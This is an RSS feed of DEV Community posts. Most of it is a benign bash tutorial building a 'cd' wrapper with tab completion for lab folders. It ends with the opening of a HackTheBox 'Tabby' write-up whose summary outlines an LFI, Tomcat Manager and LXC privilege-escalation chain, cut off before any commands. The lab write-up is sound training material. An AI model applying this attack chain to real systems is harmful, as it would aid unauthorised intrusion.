<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Abass Sesay</title>
    <description>The latest articles on DEV Community by Abass Sesay (@bascoe10).</description>
    <link>https://dev.to/bascoe10</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F33203%2F8e0fb7be-2a29-43e4-aa26-2dfa675f66dd.jpeg</url>
      <title>DEV Community: Abass Sesay</title>
      <link>https://dev.to/bascoe10</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/bascoe10"/>
    <language>en</language>
    <item>
      <title>Creating a "cd" Wrapper with Bash Autocomplete</title>
      <dc:creator>Abass Sesay</dc:creator>
      <pubDate>Sun, 07 Feb 2021 02:39:59 +0000</pubDate>
      <link>https://dev.to/bascoe10/creating-a-cd-wrapper-with-bash-autocomplete-1li2</link>
      <guid>https://dev.to/bascoe10/creating-a-cd-wrapper-with-bash-autocomplete-1li2</guid>
      <description>&lt;h1&gt;
  
  
  TL;DR
&lt;/h1&gt;

&lt;blockquote&gt;
&lt;p&gt;A little bash function that wraps "cd" using a specified folder as a base folder complete with bash autocomplete.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h1&gt;
  
  
  Why
&lt;/h1&gt;

&lt;p&gt;In the past year, I have been actively working on HackTheBox labs and now and then I find myself switch between directories in my "/HTB" . I keep having to use "cd ../" or the full path. This is a minor inconvenience but I want another way to do it; something like &lt;code&gt;&amp;lt;command&amp;gt; &amp;lt;path&amp;gt;&lt;/code&gt;. Here &lt;code&gt;command&lt;/code&gt; will know what know the base directory for the path.&lt;/p&gt;

&lt;h1&gt;
  
  
  How
&lt;/h1&gt;

&lt;p&gt;The way went about solving my problem was to create a bash function that would take the path passed and concatenate that with the base directory. The output then passed to cd.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;function &lt;/span&gt;htb &lt;span class="o"&gt;{&lt;/span&gt;
    mcd &lt;span class="s2"&gt;"/home/kali/HTB/&lt;/span&gt;&lt;span class="nv"&gt;$@&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I used &lt;code&gt;$@&lt;/code&gt; here instead of &lt;code&gt;$1&lt;/code&gt; to give the flexibility to create folders with space in the name. I hardly every do this but it was a corner case I wanted to handle.&lt;br&gt;
You might be thinking, what is this mcd ?&lt;br&gt;
This is yet another wrapper for cd ;I got inspired by this article. This wrapper will create the directory if it does not exist. I threw a confirmation prompt before creating the directory. It is also doing a Sed substitution; changing &lt;code&gt;+&lt;/code&gt; to space, the reason will be more apparent as later.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;function &lt;/span&gt;mcd &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;local &lt;/span&gt;&lt;span class="nv"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="s1"&gt;'s/+/\ /g'&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="nv"&gt;$@&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
    &lt;span class="k"&gt;then
        &lt;/span&gt;&lt;span class="nb"&gt;read&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s2"&gt;"'&lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="s2"&gt;' does not exist and will be created (Y[Enter]/N): "&lt;/span&gt; confirmation
        &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$confirmation&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt;
            &lt;span class="o"&gt;[!&lt;/span&gt;yY]&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
        &lt;span class="k"&gt;esac&lt;/span&gt;
    &lt;span class="k"&gt;fi
    &lt;/span&gt;&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="nb"&gt;cd&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At this point we have functional wrapper with a base directory. The only things missing is the nice tab completion/suggestion that &lt;code&gt;cd&lt;/code&gt; has. &lt;/p&gt;




&lt;p&gt;There are built-in bash commands that can implement autocomplete. I used &lt;code&gt;compgen&lt;/code&gt; and &lt;code&gt;complete&lt;/code&gt;. &lt;br&gt;
&lt;code&gt;compgen -d&lt;/code&gt; will list all directories in the current directory. If you specify a directory, it will list all directories in that directory.&lt;br&gt;
&lt;br&gt;
 &lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kali@kali:~/HTB&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;compgen&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; ~/HTB/
/home/kali/HTB/Academy
/home/kali/HTB/Admirer
/home/kali/HTB/Book
/home/kali/HTB/Bucket
/home/kali/HTB/Buff
/home/kali/HTB/Cache
/home/kali/HTB/Challenges
/home/kali/HTB/Compromised
/home/kali/HTB/Delivery
/home/kali/HTB/Doctor
/home/kali/HTB/Feline
/home/kali/HTB/HelperScripts
/home/kali/HTB/Jewel
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;code&gt;complete [options] name&lt;/code&gt; specifics how argument are to be completed for &lt;code&gt;name&lt;/code&gt;. &lt;code&gt;name&lt;/code&gt; in my case is a function named &lt;code&gt;htb&lt;/code&gt; . There are many options that can be specified for complete but in my case I only used 2; see link below for full documentation. I used the &lt;code&gt;-o nospace&lt;/code&gt; flag, which controls the behavior of the completion by not adding a space after completion. I also used the &lt;code&gt;-F&lt;/code&gt; flag to specify a function that updates the COMREPLY array variable that holds the auto complete option. This function is as follows.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;function &lt;/span&gt;_comp_htb &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;COMPREPLY&lt;/span&gt;&lt;span class="o"&gt;=(&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;compgen&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; /home/kali/HTB/&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$2&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; |sed &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"s:&lt;/span&gt;&lt;span class="se"&gt;\ &lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;+:g"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="nv"&gt;COMPREPLY&lt;/span&gt;&lt;span class="o"&gt;=(&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;COMPREPLY&lt;/span&gt;&lt;span class="p"&gt;[@]#/home/kali/HTB/&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="k"&gt;${#&lt;/span&gt;&lt;span class="nv"&gt;COMPREPLY&lt;/span&gt;&lt;span class="p"&gt;[@]&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt; &lt;span class="nt"&gt;-eq&lt;/span&gt; 1 &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;then
        &lt;/span&gt;&lt;span class="nv"&gt;COMPREPLY&lt;/span&gt;&lt;span class="o"&gt;=(&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;COMPREPLY&lt;/span&gt;&lt;span class="p"&gt;[@]&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's go over what this function is doing.&lt;br&gt;
&lt;code&gt;$(compgen -d /home/kali/HTB/"$2" |sed -r "s:\ :\\+:g")&lt;/code&gt;&lt;br&gt;
In the above command, &lt;code&gt;compgen&lt;/code&gt; will generate a list of directories that match the pattern passed. &lt;code&gt;$2&lt;/code&gt; in this case is the argument that the user is trying to autocomplete. &lt;br&gt;
If you try to create a bash array with this output you will run into issues if the there are directories with space in their name. Example, if you have a directory named "Test This", both "Test" and "This" will be considered as separated entries for the array.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kali@kali:~/Bash&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-al&lt;/span&gt;
total 12
drwxr-xr-x  3 kali kali 4096 Feb  6 18:27  ./
drwxr-xr-x 47 kali kali 4096 Feb  6 18:27  ../
drwxr-xr-x  2 kali kali 4096 Feb  6 18:27 &lt;span class="s1"&gt;'This Directory Name Has Spaces'&lt;/span&gt;/
kali@kali:~/Bash&lt;span class="nv"&gt;$ TEST&lt;/span&gt;&lt;span class="o"&gt;=(&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;compgen&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;'Element -&amp;gt; %s\n'&lt;/span&gt; &lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TEST&lt;/span&gt;&lt;span class="p"&gt;[@]&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;
Element -&amp;gt; This
Element -&amp;gt; Directory
Element -&amp;gt; Name
Element -&amp;gt; Has
Element -&amp;gt; Spaces
kali@kali:~/Bash&lt;span class="err"&gt;$&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To bypass this issue, I used sed to replaced spaces with &lt;code&gt;+&lt;/code&gt; and later when &lt;code&gt;mcd&lt;/code&gt; is called, it will replace the &lt;code&gt;+&lt;/code&gt; with space. I store the result in COMPREPLY &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Compreply - An array variable from which Bash reads the possible completions generated by a shell function invoked by the programmable completion facility (see Programmable Completion). Each array element contains one possible completion.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;code&gt;${COMPREPLY[@]#/home/kali/HTB/}&lt;/code&gt;&lt;br&gt;
Here I am using shell parameter expansion to remove the base directory name from the list of autocomplete options. &lt;code&gt;[@]&lt;/code&gt; traverses over the list and &lt;code&gt;#&lt;/code&gt; deletes the pattern that follows; in this case &lt;code&gt;/home/kali/HTB/&lt;/code&gt; .&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="k"&gt;${#&lt;/span&gt;&lt;span class="nv"&gt;COMPREPLY&lt;/span&gt;&lt;span class="p"&gt;[@]&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt; &lt;span class="nt"&gt;-eq&lt;/span&gt; 1 &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;then
   &lt;/span&gt;&lt;span class="nv"&gt;COMPREPLY&lt;/span&gt;&lt;span class="o"&gt;=(&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;COMPREPLY&lt;/span&gt;&lt;span class="p"&gt;[@]&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This condition checks to determine if only a single directory has been resolved and from here on the autocomplete continues into that directory.&lt;br&gt;
Putting everything together.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;function &lt;/span&gt;mcd &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;local &lt;/span&gt;&lt;span class="nv"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="s1"&gt;'s/+/\ /g'&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="nv"&gt;$@&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
    &lt;span class="k"&gt;then
        &lt;/span&gt;&lt;span class="nb"&gt;read&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s2"&gt;"'&lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="s2"&gt;' does not exist and will be created (Y[Enter]/N): "&lt;/span&gt; confirmation
        &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$confirmation&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt;
            &lt;span class="o"&gt;[!&lt;/span&gt;yY]&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
        &lt;span class="k"&gt;esac&lt;/span&gt;
    &lt;span class="k"&gt;fi
    &lt;/span&gt;&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="nb"&gt;cd&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;function &lt;/span&gt;htb &lt;span class="o"&gt;{&lt;/span&gt;
    mcd &lt;span class="s2"&gt;"/home/kali/HTB/&lt;/span&gt;&lt;span class="nv"&gt;$@&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;function &lt;/span&gt;_comp_htb &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;COMPREPLY&lt;/span&gt;&lt;span class="o"&gt;=(&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;compgen&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; /home/kali/HTB/&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$2&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; |sed &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"s:&lt;/span&gt;&lt;span class="se"&gt;\ &lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;+:g"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="nv"&gt;COMPREPLY&lt;/span&gt;&lt;span class="o"&gt;=(&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;COMPREPLY&lt;/span&gt;&lt;span class="p"&gt;[@]#/home/kali/HTB/&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="k"&gt;${#&lt;/span&gt;&lt;span class="nv"&gt;COMPREPLY&lt;/span&gt;&lt;span class="p"&gt;[@]&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt; &lt;span class="nt"&gt;-eq&lt;/span&gt; 1 &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;then
        &lt;/span&gt;&lt;span class="nv"&gt;COMPREPLY&lt;/span&gt;&lt;span class="o"&gt;=(&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;COMPREPLY&lt;/span&gt;&lt;span class="p"&gt;[@]&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="nb"&gt;complete&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; nospace &lt;span class="nt"&gt;-F&lt;/span&gt; _comp_htb htb
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  What's Next?
&lt;/h1&gt;

&lt;p&gt;At this point, I have fulfilled all that I promised in the title. Despite this, I took it one step further. I do TryHackLabs every now and then so I replicated this solution for it. Instead of creating a special completion function for TryHackMe, I just abstracted my current completion function to use a different base directory depending on the function making the call.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;function &lt;/span&gt;mcd &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;local &lt;/span&gt;&lt;span class="nv"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="s1"&gt;'s/+/\ /g'&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="nv"&gt;$@&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
    &lt;span class="k"&gt;then
        &lt;/span&gt;&lt;span class="nb"&gt;read&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s2"&gt;"'&lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="s2"&gt;' does not exist and will be created (Y[Enter]/N): "&lt;/span&gt; confirmation
        &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$confirmation&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt;
            &lt;span class="o"&gt;[!&lt;/span&gt;yY]&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
        &lt;span class="k"&gt;esac&lt;/span&gt;
    &lt;span class="k"&gt;fi
    &lt;/span&gt;&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="nb"&gt;cd&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;function &lt;/span&gt;_comp_custom_cd &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;local &lt;/span&gt;basedir
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="nv"&gt;$1&lt;/span&gt; &lt;span class="k"&gt;in
        &lt;/span&gt;htb&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;basedir&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/home/kali/HTB/"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
        thm&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;basedir&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/home/kali/TryHackMe/"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    &lt;span class="k"&gt;esac&lt;/span&gt;
&lt;span class="nv"&gt;COMPREPLY&lt;/span&gt;&lt;span class="o"&gt;=(&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;compgen&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$basedir$2&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; |sed &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"s:&lt;/span&gt;&lt;span class="se"&gt;\ &lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;+:g"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="nv"&gt;COMPREPLY&lt;/span&gt;&lt;span class="o"&gt;=(&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;COMPREPLY&lt;/span&gt;&lt;span class="p"&gt;[@]#&lt;/span&gt;&lt;span class="nv"&gt;$basedir&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="k"&gt;${#&lt;/span&gt;&lt;span class="nv"&gt;COMPREPLY&lt;/span&gt;&lt;span class="p"&gt;[@]&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt; &lt;span class="nt"&gt;-eq&lt;/span&gt; 1 &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;then
        &lt;/span&gt;&lt;span class="nv"&gt;COMPREPLY&lt;/span&gt;&lt;span class="o"&gt;=(&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;COMPREPLY&lt;/span&gt;&lt;span class="p"&gt;[@]&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;function &lt;/span&gt;htb &lt;span class="o"&gt;{&lt;/span&gt;
    mcd &lt;span class="s2"&gt;"/home/kali/HTB/&lt;/span&gt;&lt;span class="nv"&gt;$@&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="nb"&gt;complete&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; nospace &lt;span class="nt"&gt;-F&lt;/span&gt; _comp_custom_cd htb
&lt;span class="k"&gt;function &lt;/span&gt;thm &lt;span class="o"&gt;{&lt;/span&gt;
    mcd &lt;span class="s2"&gt;"/home/kali/TryHackMe/&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="nb"&gt;complete&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; nospace &lt;span class="nt"&gt;-F&lt;/span&gt; _comp_custom_cd thm
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Links
&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://www.digitalocean.com/community/tutorials/an-introduction-to-useful-bash-aliases-and-functions"&gt;https://www.digitalocean.com/community/tutorials/an-introduction-to-useful-bash-aliases-and-functions&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.gnu.org/software/bash/manual/bash.html#index-COMPREPLY"&gt;https://www.gnu.org/software/bash/manual/bash.html#index-COMPREPLY&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.gnu.org/software/bash/manual/bash.html#Programmable-Completion-Builtins"&gt;https://www.gnu.org/software/bash/manual/bash.html#Programmable-Completion-Builtins&lt;/a&gt;&lt;/p&gt;

</description>
      <category>bash</category>
      <category>productivity</category>
      <category>scripting</category>
    </item>
    <item>
      <title>Tabby - HackTheBox</title>
      <dc:creator>Abass Sesay</dc:creator>
      <pubDate>Fri, 06 Nov 2020 08:26:53 +0000</pubDate>
      <link>https://dev.to/bascoe10/tabby-hackthebox-25c4</link>
      <guid>https://dev.to/bascoe10/tabby-hackthebox-25c4</guid>
      <description>&lt;h1&gt;
  
  
  TL;DR
&lt;/h1&gt;

&lt;blockquote&gt;
&lt;p&gt;Foothold for this box involved LFI coupled with Tomcat Manger App exploit. Once on the box, gaining User access requires enumeration, enumeration, enumeration. Gaining root require exploit a legitimate application, LXC.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h1&gt;
  
  
  Reconnaissance
&lt;/h1&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Nmap to the rescue &lt;span class="k"&gt;for &lt;/span&gt;recon. This will give us an idea of the potential attack vectors.
PORT      STATE  SERVICE VERSION
